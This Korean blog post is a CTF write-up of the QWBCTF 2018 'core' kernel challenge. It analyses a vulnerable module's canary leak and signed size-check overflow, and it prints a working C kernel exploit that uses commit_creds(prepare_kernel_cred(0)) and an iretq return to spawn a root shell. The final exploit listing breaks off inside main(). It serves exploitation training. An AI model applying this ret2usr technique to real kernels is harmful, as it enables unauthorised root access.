์ƒ์„ธ ์ปจํ…์ธ 

๋ณธ๋ฌธ ์ œ๋ชฉ

[QWBCTF 2018] core writeup (kernel exploit)

SYSTEM HACKING/CTF, etc

by koharin 2022. 3. 22. 00:46

๋ณธ๋ฌธ

728x90
๋ฐ˜์‘ํ˜•

๐Ÿ‘‹ ๋“ค์–ด๊ฐ€๊ธฐ ์ „์—

์ทจ์•ฝ์ ๋„ ๊น”๋”ํ•˜๊ณ  ์ต์Šค์ฝ”๋“œ๋กœ ์งœ๋Š”๊ฒƒ๋„ ๊น”๋”ํ•˜๊ณ  ๋‚˜๋ฆ„ ์ปค๋„ ์ต์Šค ๊ธฐ๋ณธ ์ตํžˆ๊ธฐ ์ข‹์€ ๋ฌธ์ œ ๊ฐ™์•„์„œ ์ถ”์ฒœํ•ฉ๋‹ˆ๋‹ค. ๐Ÿ‘

โ˜‘๏ธ ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

 

GitHub - ctf-wiki/ctf-challenges

Contribute to ctf-wiki/ctf-challenges development by creating an account on GitHub.

github.com



 

โ˜‘๏ธ ํŒŒ์ผ ํ™•์ธ

์ฃผ์–ด์ง„ ํŒŒ์ผ์€ bzImage, core.cpio, start.sh, vmlinux์ด๋‹ค.

bzImage

$ binwalk bzImage    

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
15990         0x3E76          gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
  • ์ปค๋„ ์ด๋ฏธ์ง€

 

core.cpio

$ binwalk core.cpio     

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             gzip compressed data, maximum compression, from Unix, last modified: 2018-10-05 14:08:36
  • ์••์ถ•๋œ ํŒŒ์ผ ์‹œ์Šคํ…œ
  • ํŒŒ์ผ์‹œ์Šคํ…œ์„ ์–ป๊ธฐ ์œ„ํ•ด ์••์ถ•ํ•ด์ œ๋ฅผ ์ง„ํ–‰ํ•œ๋‹ค.
$ mv core.cpio core.cpio.gz
$ gzip -d core.cpio.gz 
$ ls   
core.cpio
$ binwalk core.cpio 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ASCII cpio archive (SVR4 with no CRC), file name: ".", file name length: "0x00000002", file size: "0x00000000"
112           0x70            ASCII cpio archive (SVR4 with no CRC), file name: "usr", file name length: "0x00000004", file size: "0x00000000"
228           0xE4            ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin", file name length: "0x00000009", file size: "0x00000000"
348           0x15C           ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/popmaildir", file name length: "0x00000014", file size: "0x00000011"
500           0x1F4           ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/chroot", file name length: "0x00000010", file size: "0x00000011"
648           0x288           ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/crond"
[...]
$ cpio -idv < core.cpio    
.
usr
usr/sbin
usr/sbin/popmaildir
usr/sbin/chroot
usr/sbin/crond
usr/sbin/loadfont
usr/sbin/i2cdump
usr/sbin/rdev
usr/sbin/ntpd
usr/sbin/readahead
usr/sbin/deluser
usr/sbin/adduser
usr/sbin/lpd
usr/sbin/nbd-client
usr/sbin/ubirmvol
usr/sbin/ubidetach
usr/sbin/fdformat
[...]
$ ls
bin        core.ko  gen_cpio.sh  lib    linuxrc  root  sys  usr
core.cpio  etc      init         lib64  proc     sbin  tmp  vmlinux

 

start.sh

qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd  ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
    -s  \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic  \
  • ๋ถ€ํŒ… ์Šคํฌ๋ฆฝํŠธ
  • KASLR ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด์žˆ๋‹ค.
  • ๊ทธ๋ƒฅ ๋Œ๋ฆฌ๋ฉด kernel panic ๋‚˜์„œ ๋ฉ”๋ชจ๋ฆฌ๋ฅผ 64M๋ฅผ 256M๋กœ ๋Š˜๋ ธ๋‹ค.

 

vmlinux

  • ์‹ฌ๋ณผ ์‚ด์•„์žˆ๋Š” ์‹คํ–‰ ํŒŒ์ผ๋กœ, ์ปค๋„ ๋””๋ฒ„๊น… ์‹œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

 

core.ko

์ทจ์•ฝํ•œ kernel module๋กœ, ๋””์ปดํŒŒ์ผ๋Ÿฌ๋กœ ๋ถ„์„ํ•œ๋‹ค.

 

init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 3000 -f & # change timeout 120 to 3000
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f
  • /proc/kallsyms๋ฅผ /tmp/kallsyms ์— ๋ณต์‚ฌํ•œ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ ์‹œ ํ•„์š”ํ•œ ์ปค๋„ ํ•จ์ˆ˜ ์‹ฌ๋ณผ์„ /tmp/kallsyms ํŒŒ์ผ์—์„œ ๊ตฌํ•ด์ค€๋‹ค.

 

gen_cpio.sh

find . -print0 \
    | cpio --null -ov --format=newc \
    | gzip -9 > $1

ํŒŒ์ผ์‹œ์Šคํ…œ ์••์ถ•ํ•ด์ฃผ๋Š” ์‰˜ ์Šคํฌ๋ฆฝํŠธ์ด๋‹ค.
์ต์Šค์ฝ”๋“œ๋ฅผ ํŒŒ์ผ์‹œ์Šคํ…œ์— ๋„ฃ๊ณ  ํŒŒ์ผ์‹œ์Šคํ…œ ์••์ถ•ํ•ด์„œ ๋ณ€๊ฒฝ๋œ ํŒŒ์ผ์‹œ์Šคํ…œ ๊ฒฝ๋กœ๋ฅผ start.sh์— ์ค˜์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

โ˜‘๏ธ core.ko ๋ถ„์„

init_module()

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}
  • ๋””๋ฐ”์ด์Šค ๋“œ๋ผ์ด๋ฒ„ open() ์‹œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜๋กœ, proc ๊ฒฝ๋กœ ํ•˜์œ„์— core ๋””๋ฐ”์ด์Šค ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ƒ์„ฑํ•œ๋‹ค.
  • ๋“ฑ๋ก ํ›„ core_proc ์ „์—ญ๋ณ€์ˆ˜์— ์ €์žฅ๋œ๋‹ค.

 

core_release()

__int64 core_release()
{
  printk(&unk_204);
  return 0LL;
}
  • printk๋Š” dmesg๋กœ ๋กœ๊น…๋˜๋Š” ๋ฉ”์‹œ์ง€์ด๋‹ค. core: release๊ฐ€ ๋กœ๊น…๋œ๋‹ค.

 

exit_core()

__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core"); // core created: /proc/core entry
  return result;
}
  • close() ํ˜ธ์ถœ ์‹œ ํ˜ธ์ถœ๋˜๋Š” ํ•จ์ˆ˜๋กœ ๋ชจ๋“ˆ ์ข…๋ฃŒ ์‹œ ๋“ฑ๋กํ•œ ๋ชจ๋“ˆ์„ ์ œ๊ฑฐํ•œ๋‹ค.
  • proc ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ƒ์„ฑ๋œ core๋ฅผ ์‚ญ์ œํ•œ๋‹ค.

 

core_ioctl()

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD); // core: %d (a3)
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3); // core: called core |copy
      core_copy_func(v3);
      break;
  }
  return 0LL;
}
  • a1์—๋Š” file descriptor ๋ฒˆํ˜ธ๋ฅผ ์ฃผ๊ณ , a2์— ๋”ฐ๋ผ ๋‹ค๋ฅธ ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•œ๋‹ค. 
  • a2 == 0x6677889B
    • core_read() ํ˜ธ์ถœ
  • a2 == 0x6677889C
    • core: %d ๊ฐ€ ๋กœ๊น…๋œ ํ›„
    • ์ „์—ญ๋ณ€์ˆ˜ off๊ฐ€ v3๋กœ ์„ค์ •๋œ๋‹ค. v3๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ a3 ๊ฐ’์œผ๋กœ ์„ธํŒ…๋œ๋‹ค.
  • a2 == 0x6677889A
    • core called: core | copy๊ฐ€ ๋กœ๊น…
    • v3(user input)๋ฅผ ์ธ์ž๋กœ core_copy_func() ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋œ๋‹ค.

 

core_read()

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u); // canary
  printk(&unk_25B); // core: called core |read
  printk(&unk_275); // %d %p
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

core_read()์˜ ๋งค๊ฐœ๋ณ€์ˆ˜ a1์€ ioctl()์—์„œ ๋„˜๊ธด ๊ฐ’์ด๋‹ค.
v1์— a1 ๊ฐ’์„ ์ €์žฅํ•˜๊ณ , v6์—๋Š” canary๋ฅผ ์ €์žฅํ•œ๋‹ค. (v6๊ฐ€ rbp-0x10์— ์œ„์น˜ํ•˜๋ฏ€๋กœ canary์ž„)
์ดํ›„ printk๋กœ core: called core|read์™€ %d %p๋ฅผ ๋กœ๊น…ํ•œ๋‹ค.
v5๋Š” rbp-0x50์— ์œ„์น˜ํ•˜๋ฏ€๋กœ, canary 0x8, SFP 0x8 ์ œ์™ธํ•˜๋ฉด ํฌ๊ธฐ๊ฐ€ 0x40์ด๋‹ค.
strcpy๋กœ v5์— ๋ฌธ์ž์—ด์„ ๋„ฃ๊ณ , v5(kernel stack)+off ์œ„์น˜๋ถ€ํ„ฐ 0x40 ๋ฐ”์ดํŠธ๋งŒํผ v1(user input)์— ๋ณต์‚ฌํ•œ๋‹ค.

core_ioctl์˜ ๋‘ ๋ฒˆ์งธ ์ผ€์ด์Šค์—์„œ off ๊ฐ’์„ ioctl์˜ ์„ธ ๋ฒˆ์งธ ์ธ์ž๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค.
v5๋Š” rbp-0x50์— ์œ„์น˜ํ•˜๋Š”๋ฐ, v5+0x40์„ ์ฃผ๋ฉด v5+0x40 ์œ„์น˜์˜ canary ๊ฐ’๋ถ€ํ„ฐ 0x40 ๋ฐ”์ดํŠธ๋ฅผ v1์— ์ €์žฅํ•  ์ˆ˜ ์žˆ๋‹ค.
์ฆ‰, canary leak์ด ๊ฐ€๋Šฅํ•˜๋‹ค.
canary๊ฐ€ ์„ค์ •๋œ ๊ฒฝ์šฐ overflow ์ทจ์•ฝ์  ์ด์šฉํ•ด์„œ return address ๋ฎ๋Š”๊ฑธ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด์„œ canary๊ฐ€ ๋ณ€์กฐ๋  ๊ฒฝ์šฐ stack smashing ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๊ฐ€ ๋œฌ๋‹ค. ๊ทผ๋ฐ canary leakํ•ด์„œ ์ •ํ™•ํ•œ canary ์œ„์น˜์— ๋„ฃ์–ด์ฃผ๋ฉด ๋ฌธ์ œ์—†์ด ์ต์Šคํ”Œ๋กœ์ž‡์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

---
RET (0x8) - return address
---
SFP (0x8) - stack frame pointer
---
v6 (0x8) - canary
---
v5 (0x40) - local variable
---

์—ฌ๊ธฐ์„œ ์•Œ ์ˆ˜ ์žˆ๋Š” ์ปค๋„ ์Šคํƒ ๊ตฌ์กฐ๋Š” ์œ„์™€ ๊ฐ™๋‹ค.

 

core_write()

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230); // core: error copying data from userspace
  return 4294967282LL;
}

v3(input ๊ฐ’)์ด 0x800 ์ดํ•˜์ด๋ฉด copy_from_user๋กœ name(์ „์—ญ๋ณ€์ˆ˜)์— a2(user input)๋ฅผ v3(user input)๋งŒํผ ๋ณต์‚ฌํ•  ์ˆ˜ ์žˆ๋‹ค.
ํฌ๊ธฐ๊ฐ€ ๋„‰๋„‰ํ•ด์„œ ์ต์Šคํ”Œ๋กœ์ž‡ ์‹œ ์‚ฌ์šฉํ•  payload๋ฅผ ๋„ฃ์–ด์ฃผ๊ธฐ ์ข‹์„ ๊ฒƒ ๊ฐ™๋‹ค.

 

core_copy_func()

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215); // core: called core|writen
  if ( a1 > 63 )
  {
    printk(&unk_2A1); // Detected Overflow
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

a1(user input)๊ณผ 63์„ ๋น„๊ตํ•ด์„œ buffer overflow ์—ฌ๋ถ€๋ฅผ ์ฒดํฌํ•œ๋‹ค.
ํ•˜์ง€๋งŒ a2์€ signed __int64 ํƒ€์ž…์ด๋‹ค. 64bit ํ”Œ๋žซํผ์—์„œ๋Š” ์กฐ๊ฑด๋ฌธ์—์„œ ๋น„๊ต ์‹œ unsigned๊ฐ€ ์•„๋‹Œ signed ํƒ€์ž…์œผ๋กœ ๋น„๊ตํ•ด์„œ ์ด ์กฐ๊ฑด๋ฌธ์„ a1์— ์Œ์ˆ˜๋ฅผ ์ฃผ๋Š” ๊ฒƒ์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‹ค.
qmemcpy() ์‹œ์—๋Š” unsigned __int16 ํƒ€์ž…์œผ๋กœ type casting์ด ๋˜์–ด ๋งŒ์•ฝ a1 = -1์ด๋ฉด a1=0xFFFFFFFFFFFFFFFF๊ฐ€ ๋œ๋‹ค.
v2(kernel local ๋ณ€์ˆ˜)๋Š” rbp-0x50์— ์œ„์น˜ํ•ด์„œ ํฌ๊ธฐ๊ฐ€ 0x40์œผ๋กœ, v5์— name(user input)์„ a1๋งŒํผ ๋ณต์‚ฌ ์‹œ buffer overflow ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.


๋ฐ˜์‘ํ˜•

โ˜‘๏ธ Exploit Flow

  1. ioctl(fd, 0x6677889C, 0x40)
    • off=0x40์œผ๋กœ ์„ค์ •
  2. ioctl(fd, 0x6677889B, 0x40)
    • core_read ํ˜ธ์ถœํ•ด์„œ user buffer์— v5+0x40๋ถ€ํ„ฐ ๋ฐ์ดํ„ฐ 64๋ฐ”์ดํŠธ ์ €์žฅ
    • canary๋ฅผ ์œ ์ € ๋ณ€์ˆ˜์— ์ €์žฅํ•ด์„œ canary leak ๊ฐ€๋Šฅ
  3. write(fd, user_data, size)
    • ์ต์Šคํ”Œ๋กœ์ž‡ ํŽ˜์ด๋กœ๋“œ๋ฅผ name์— ๋ณต์‚ฌ
    • ํŽ˜์ด๋กœ๋“œ์—์„œ core_copy_func()์˜ return address ์œ„์น˜๋ฅผ ์›ํ•˜๋Š” ์–ด์…ˆ ์‹คํ–‰ํ•˜๋Š” ํ•จ์ˆ˜ ์ฃผ์†Œ๋กœ ๋ฎ๊ฒŒ ์ฃผ๋ฉด ๋œ๋‹ค. ์ด๋•Œ ์นด๋‚˜๋ฆฌ ๊ฐ’๋„ ๋„ฃ์–ด์ค€๋‹ค. 
    • payload๋ผ๋Š” ํ•จ์ˆ˜ ์ฃผ์†Œ๋ฅผ ์ฃผ๋Š”๋ฐ, payload ํ•จ์ˆ˜์—์„œ๋Š” commit_creds(prepare_kernel_cred(0)); ์œผ๋กœ ๊ถŒํ•œ์„ 0(root)๋กœ ๋งŒ๋“ค์–ด์ฃผ๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•œ๋‹ค.
    • ‘A’*0x40 (v2) + canary + ‘B’*8 (SFP) + &payload(ret)
  4. ioctl(fd, 1719109786, size)
    • core_copy_func(size) ํ˜ธ์ถœ
    • core_write()์—์„œ user input์ด ๋ณต์‚ฌ๋œ name์ด ์ด ํ•จ์ˆ˜ ์Šคํƒ์— ๋ณต์‚ฌ๋œ๋‹ค.
    • ์Œ์ˆ˜ size๋ฅผ ์ค˜์„œ ์‚ฌ์ด์ฆˆ ์ฒดํฌ ์šฐํšŒํ•˜๊ณ , type casting์œผ๋กœ ์ ˆ๋Œ€๊ฐ’ ํฌ๊ธฐ๋งŒํผ core_copy_func ์Šคํƒ์— ๋ณต์‚ฌ๋œ๋‹ค. (BOF ๋ฐœ์ƒ)
  5. ์Šคํƒ ๋ณต์› ๋ฐ ์‰˜ ์‹คํ–‰
    • payload ์‹คํ–‰๋˜๋ฉด root๊ถŒํ•œ์„ ์–ป๊ฒŒ ๋˜๊ณ , ์œ ์ € ๋ชจ๋“œ๋กœ ๋Œ์•„์™€์„œ ์œ ์ € ์Šคํƒ์„ ๋ณต์›ํ•ด์ฃผ๊ธฐ ์œ„ํ•ด trap_frame ๊ตฌ์กฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.
    • ์Šคํƒ ๋ณต์› ์‹œ t๊ตฌ์กฐ์ฒด ๊ฐ’์˜ rip๋ฅผ get_shell ๋กœ ์คฌ๊ธฐ ๋•Œ๋ฌธ์— ์‹คํ–‰ ํ๋ฆ„์ด get_shell๋กœ ์ด๋™ํ•ด์„œ root ๊ถŒํ•œ์œผ๋กœ ์‰˜์„ ์‹คํ–‰ํ•œ๋‹ค (kaslr ๋ง๊ณ ๋Š” ๋‹ค๋ฅธ ๋ณดํ˜ธ๊ธฐ๋ฒ•์ด ์ ์šฉ๋˜์–ด์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ํ•จ์ˆ˜ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ๊ฒƒ)

 

canary leak

#include <stdio.h>
#include <sys/ioctl.h> // ioctl()
#include <string.h> // memcpy()
#include <fcntl.h> // O_RDWR
#include <stdint.h> // uint64_t 
#include <unistd.h> // open()
#include <stdlib.h> // exit()

int main(){
    char buf[0x100];
    char canary[8];
    char rop[0x100]={0,};

    // init_module()
    int fd = open("/proc/core", O_RDWR); 
    if(fd < 0){
        fprintf(stderr, "[-] File open error\n");
        exit(-1);
    }
    
    printf("[+] File opened\n");    
    
    // off(global) value setting
    ioctl(fd, 0x6677889C, 0x40);

    // core_read() - save canary
    ioctl(fd, 0x6677889B, buf);
    printf("[+] canary: ");
    // copy 8byte canary
    memcpy(canary, buf, 8);
    for(int i=7; i>=0; i--)
        printf("%02x", canary[i] & 0xFF);
    printf("\n");
    // exit_core()
    close(fd);
    return 0;

}

off๋ฅผ canary ์œ„์น˜์ธ 0x40์œผ๋กœ ์ค˜์„œ, canary๋ฅผ user ๋ณ€์ˆ˜์— ์ €์žฅํ•ด์„œ ๊ตฌํ•œ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

kernel symbol ๊ตฌํ•˜๊ธฐ

unsigned long get_symbol(const char* name)
{
    FILE *fd;
    char buf[0x100];
    char addr[32];

    fd = fopen("/tmp/kallsyms","r");
    if(fd < 0)
    {
        printf("[-] Failed to open /tmp/kallsyms\n");
        exit(-1);
    }

    memset(buf, 0,sizeof(buf));
	
    while(fgets(buf,0x100,fd) != NULL)
    {
        char *p = buf;
        char *a = addr;

        if(strlen(buf) == 0)
            continue;

        memset(addr,0,sizeof(addr));
        buf[strlen(buf)-1] = '\0';

        while(*p != ' ')   
            *a++ = *p++;

        p += 3;
        if(!strcmp(p,name))
            return strtoul(addr, NULL, 16);
    }

    return 0;
}

์ด์ œ commit_creds, prepare_kernel_cred์˜ ์‹ฌ๋ณผ์„ ๊ตฌํ•ด๋ณด์ž.
/tmp/kallsyms ํŒŒ์ผ์— ์ €์žฅ๋œ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•ด์ค€๋‹ค.

 

payload ๊ตฌ์„ฑ

// exploit payload setting 
    memset(rop, 0x41, 0x40); // 'A'*0x40 
    memcpy(rop+0x40, canary, 8); 
    memset(rop+0x48, 0x42, 8); // SFP
    *(void**)(rop+0x50) = &exploit; // set return address to exploit addr

name์— ๋„ฃ์„ ํŽ˜์ด๋กœ๋“œ์ด๋‹ค.
name์— ๋„ฃ์œผ๋ฉด core_copy_func()์—์„œ์˜ BOF ์ทจ์•ฝ์ ์œผ๋กœ return address๋ฅผ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ๋ฎ์–ด์„œ ์‹คํ–‰ ํ๋ฆ„์„ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

 

trap frame ๊ตฌ์„ฑ

struct trap_frame
{
    void *rip;
    uint64_t cs; // code segment
    uint64_t rflags; // CPU flags
    void *rsp; // stack pointer
    uint64_t ss; // stack segment
}__attribute__((packed));
struct trap_frame tf;

์ปค๋„ ๋ชจ๋“œ์—์„œ ์œ ์ € ๋ชจ๋“œ๋กœ ๋Œ์•„์˜ฌ ๋•Œ ๋ณต์›ํ•ด์ค„ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’๋“ค์„ ์ €์žฅํ•˜๋Š” ๊ตฌ์กฐ์ฒด๋ฅผ ๋งŒ๋“ ๋‹ค.
rip, cs, rflags, rsp, ss๊ฐ€ ์žˆ๊ณ , ์ „์—ญ๋ณ€์ˆ˜ tf ๊ตฌ์กฐ์ฒด ๋ณ€์ˆ˜๋ฅผ ๋งŒ๋“ค์–ด์คฌ๋‹ค.

// save user trap frame
void save_trapframe(){
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
    );
    tf.rip = &get_shell;

    printf("[+] trap frame backuped\n");
}

์‹ค์งˆ์ ์œผ๋กœ ์œ ์ € trap frame ์ •๋ณด๋ฅผ ๋ฐฑ์—…ํ•ด์ฃผ๋Š” ์ฝ”๋“œ์ด๋‹ค.
๊ทธ๋ฆฌ๊ณ  rip์—๋Š” get_shell ์ฃผ์†Œ๋ฅผ ์ฃผ๋Š”๋ฐ, kernel ๋ชจ๋“œ์—์„œ root ๊ถŒํ•œ ์–ป๊ณ  ์œ ์ € ๋ชจ๋“œ๋กœ ๋Œ์•„์˜ฌ ๋•Œ trap_frame์— ์ €์žฅ๋œ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’๋“ค์„ ๋ณต์›ํ•˜๊ณ , rip๋Š” get_shell ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ํ•ด์„œ system("/bin/sh")๋กœ ์‰˜์„ ์‹คํ–‰ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜๋กœ ์‹คํ–‰ ํ๋ฆ„์„ ๋ฐ”๊พธ๊ธฐ ์œ„ํ•ด์„œ์ด๋‹ค.
core_copy_func()์˜ return address ๋ฎ๊ธฐ ์ „ ์ด ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•ด์ค€๋‹ค.

 

Exploit

// save user register info
    save_trapframe(); 
    
    // copy payload data to name(global)
    write(fd, rop, 0x58);

    printf("[+] set name to payload\n");
    
    // core_copy_func() - overwrite core_copy_func return address 
    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | sizeof(rop));

write()์„ ํ˜ธ์ถœํ•ด์„œ name ์ „์—ญ๋ณ€์ˆ˜์— exploit payload๋ฅผ ์ €์žฅํ•œ๋‹ค.
ioctl๋กœ ์Œ์ˆ˜๋ฅผ ์ค˜์„œ ์‚ฌ์ด์ฆˆ ์ฒดํฌ ์กฐ๊ฑด์„ ์šฐํšŒํ•˜๊ณ  BOF๋ฅผ ํ†ตํ•ด return address๋ฅผ &exploit์œผ๋กœ ๋ฎ๋Š”๋‹ค.

void exploit(){
    commit_creds(prepare_kernel_cred(0)); // set cred struct field to 0
    asm("swapgs;"
        "mov %%rsp, %0;" // get backuped trap frame 
        "iretq;" // restruct saved trap frame content by iretq
    :: "r"(&tf));
}

exploit()์—๋Š” ์œ„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
์ปค๋„๋ชจ๋“œ์—์„œ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, KASLR ๋ณดํ˜ธ๊ธฐ๋ฒ•๋งŒ ์žˆ์–ด์„œ ์ปค๋„์—์„œ ์ด ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ ํ•  ์ˆ˜ ์žˆ๋‹ค.
prepare_kernel_cred() ์ธ์ž๋กœ 0(NULL) ์ „๋‹ฌํ•ด์„œ root์˜ cred ๊ตฌ์กฐ์ฒด ๋ฐ˜ํ™˜ํ•œ๋‹ค.
commit_creds() ์ธ์ž๋กœ root์˜ cred ๊ตฌ์กฐ์ฒด(credential ๊ตฌ์กฐ์ฒด) ์ „๋‹ฌํ•˜๋ฉด ํ˜„์žฌ task์˜ ๊ถŒํ•œ์ด root๋กœ ์ƒ์Šนํ•œ๋‹ค.
์ดํ›„ swapgs; ๋กœ ์ปค๋„ ๋ชจ๋“œ์—์„œ ์œ ์ € ๋ชจ๋“œ๋กœ ๋Œ์•„์˜ค๊ณ , ๋งŒ๋“ค์–ด์ค€ tf ๊ตฌ์กฐ์ฒด๋ฅผ ์‚ฌ์šฉํ•ด์„œ ์œ ์ € ๋ชจ๋“œ์—์„œ์˜ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’๋“ค์„ ๋ณต์›ํ•ด์ค˜์„œ ์œ ์ € ๋ชจ๋“œ์—์„œ ์‹คํ–‰์„ ์ด์–ด๊ฐ„๋‹ค.

// get shell after privilged
void get_shell(){
    printf("[+] get shell\n");
    system("/bin/sh");
}

์ดํ›„ ๋ ˆ์ง€์Šคํ„ฐ ๊ฐ’ ๋ณต์›ํ•˜๋ฉด์„œ rip์—๋Š” get_shell ์ฃผ์†Œ๋ฅผ ์คฌ์œผ๋ฏ€๋กœ root ๊ถŒํ•œ์˜ ์‰˜์„ ์–ป์„ ์ˆ˜ ์žˆ๋‹ค.


 

 

โ˜‘๏ธ Exploit code

#include <stdio.h>
#include <sys/ioctl.h> // ioctl()
#include <string.h> // memcpy()
#include <fcntl.h> // O_RDWR
#include <stdint.h> // uint64_t 
#include <unistd.h> // open()
#include <stdlib.h> // exit()

int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);

struct trap_frame
{
    void *rip;
    uint64_t cs; // code segment
    uint64_t rflags; // CPU flags
    void *rsp; // stack pointer
    uint64_t ss; // stack segment
}__attribute__((packed));
struct trap_frame tf;

unsigned long get_symbol(const char* name)
{
    FILE *fd;
    char buf[0x100];
    char addr[32];

    fd = fopen("/tmp/kallsyms","r");
    if(fd < 0)
    {
        printf("[-] Failed to open /tmp/kallsyms\n");
        exit(-1);
    }

    memset(buf, 0,sizeof(buf));
	
    while(fgets(buf,0x100,fd) != NULL)
    {
        char *p = buf;
        char *a = addr;

        if(strlen(buf) == 0)
            continue;

        memset(addr,0,sizeof(addr));
        buf[strlen(buf)-1] = '\0';

        while(*p != ' ')   
            *a++ = *p++;

        p += 3;
        if(!strcmp(p,name))
            return strtoul(addr, NULL, 16);
    }

    return 0;
}

// get shell after privilged
void get_shell(){
    printf("[+] get shell\n");
    system("/bin/sh");
}

// save stack frame
void save_trapframe(){
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
    );
    tf.rip = &get_shell;

    printf("[+] trap frame backuped\n");
}

void exploit(){
    commit_creds(prepare_kernel_cred(0)); // set cred struct field to 0
    asm("swapgs;"
        "mov %%rsp, %0;" // get backuped trap frame 
        "iretq;" // restruct saved trap frame content by iretq
        ::"r"(&tf)
    );
}

int main(){
    char buf[0x100];
